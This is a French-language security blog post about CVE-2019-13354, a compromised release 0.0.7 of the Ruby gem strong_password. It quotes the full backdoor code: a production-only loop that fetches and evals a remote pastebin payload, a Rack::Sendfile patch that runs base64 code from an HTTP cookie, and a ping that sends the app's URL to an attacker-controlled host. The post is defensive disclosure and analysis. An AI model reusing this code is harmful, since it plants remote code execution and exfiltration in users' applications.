Skip to main content

Les inquiétudes liées aux attaques de la chaîne d’approvisionnement s’intensifient après la découverte d’une exécution de code à distance dans le gem Ruby strong_password

Écrit par
backdoor discovered in Gem

7 juillet 2019

0 minutes de lecture

Le 5 juillet 2019, l’avis de sécurité CVE-2019-13354 a été publié au sujet d’une version malveillante du gem Ruby strong_password, qui permet l’exécution de code à distance dans les applications intégrant cette dépendance vulnérable.

Nous avons déjà ajouté cette vulnérabilité à notre base de données et, si votre projet Ruby est surveillé par Snyk, vous avez déjà reçu nos alertes habituelles. Dans le cas contraire, nous vous recommandons vivement de tester votre projet afin de vérifier si votre application est affectée par cette version malveillante.

Il n’existe actuellement aucune version plus récente de strong_password. Nous vous recommandons donc de revenir sans attendre à une version antérieure à la version vulnérable 0.0.7.

Le site Rubygems.org a signalé un total de 537 téléchargements de la version malveillante 0.0.7.

À propos de la vulnérabilité

Cette vulnérabilité a été découverte par le propriétaire du blog withatwist.dev. Comme il l’a indiqué dans son article, il a pris connaissance de l’incident lors d’une vérification manuelle qu’il effectue régulièrement lorsqu’il met à jour ses dépendances.

En comparant les journaux des modifications des versions publiées à leur code source, il a constaté que la version 0.0.7 avait été publiée sur Rubygems.org six mois après la dernière version, sans qu’aucune modification du code source n’ait été publiée sur le dépôt GitHub.

En parcourant les commits de la version 0.0.7 de strong_password, l’extrait de code suivant a attiré son attention :


def _!;
  begin;
    yield;
  rescue Exception;
  end;
end

_!{
  Thread.new {
    loop {
      _!{
        sleep rand * 3333;
        eval(
          Net::HTTP.get(
            URI('https://pastebin.com/raw/xa456PFt')
          )
        )
      }
    }
  } if Rails.env[0] == "p"
}

Pour comprendre toute l’histoire, nous devons également examiner la charge utile hébergée sur pastebin.com, utilisée par cette version malveillante :


_! {
unless defined?(Z1)
  Rack::Sendfile.prepend Module.new{define_method(:call){|e|
  _!{eval(Base64.urlsafe_decode64(e['HTTP_COOKIE'].match(/___id=(.+);/)[1]))}
  super(e)}}
  Z1 = "(:"
end
}

_! {
  Faraday.get("http://smiley.zzz.com.ua", { "x" => ENV["URL_HOST"].to_s })

Maintenant que nous avons rassemblé les deux extraits, nous pouvons reconstituer toute l’histoire :

  1. L’attaquant a réussi à compromettre le compte du responsable initial de strong_password afin d’obtenir les droits de publication.

  2. Une version malveillante 0.0.7, contenant la première charge utile, a été publiée sur Rubygems.org.

  3. Cette version malveillante ne se déclenche que lorsque l’application est détectée dans un environnement de production et, après un certain temps d’exécution seulement, envoie une requête à pastebin.com pour récupérer la charge utile suivante et l’exécuter.

  4. La seconde charge utile, hébergée sur pastebin.com, modifie la méthode Sendfile pour récupérer la valeur d’un cookie HTTP nommé ___id et l’exécuter. Un attaquant distant peut ainsi exécuter des commandes à distance.

  5. Enfin, le code malveillant envoie également un ping à un serveur contrôlé par l’attaquant pour lui transmettre l’URL de l’application en cours d’exécution.

Le propriétaire du blog a rapidement signalé le problème au responsable du gem. Celui-ci a alors découvert qu’il n’avait plus accès à son compte pour retirer la version ou remédier autrement à la situation. Il a ensuite alerté la communauté des avis Rubysec pour qu’elle prenne les mesures nécessaires. Cela a entraîné le retrait de la version malveillante 0.0.7 et l’attribution d’un identifiant CVE.

Vulnérabilités liées au code malveillant et attaques de la chaîne d’approvisionnement

Cette affaire rappelle un cas similaire impliquant un autre paquet Ruby gems, survenu trois mois plus tôt.

Avec bootstrap-sass, un attaquant avait également réussi à compromettre le compte d’un responsable sur Rubygems.org afin de publier une version malveillante intégrant une porte dérobée permettant l’exécution de code à distance.

Le dépôt Rubygems.org n’est pas le seul à être visé par des attaques de la chaîne d’approvisionnement. Il y a seulement deux semaines, nous avons raconté l’histoire d’un paquet malveillant découvert dans npm et ciblant les portefeuilles de cryptomonnaies. Heureusement, dans les deux cas, la communauté et les équipes de sécurité de npm et de rubygems ont réagi assez rapidement.

Lancez-vous dans les compétitions Capture The Flag

Apprenez à résoudre des défis Capture The Flag en regardant à la demande notre atelier virtuel d’initiation.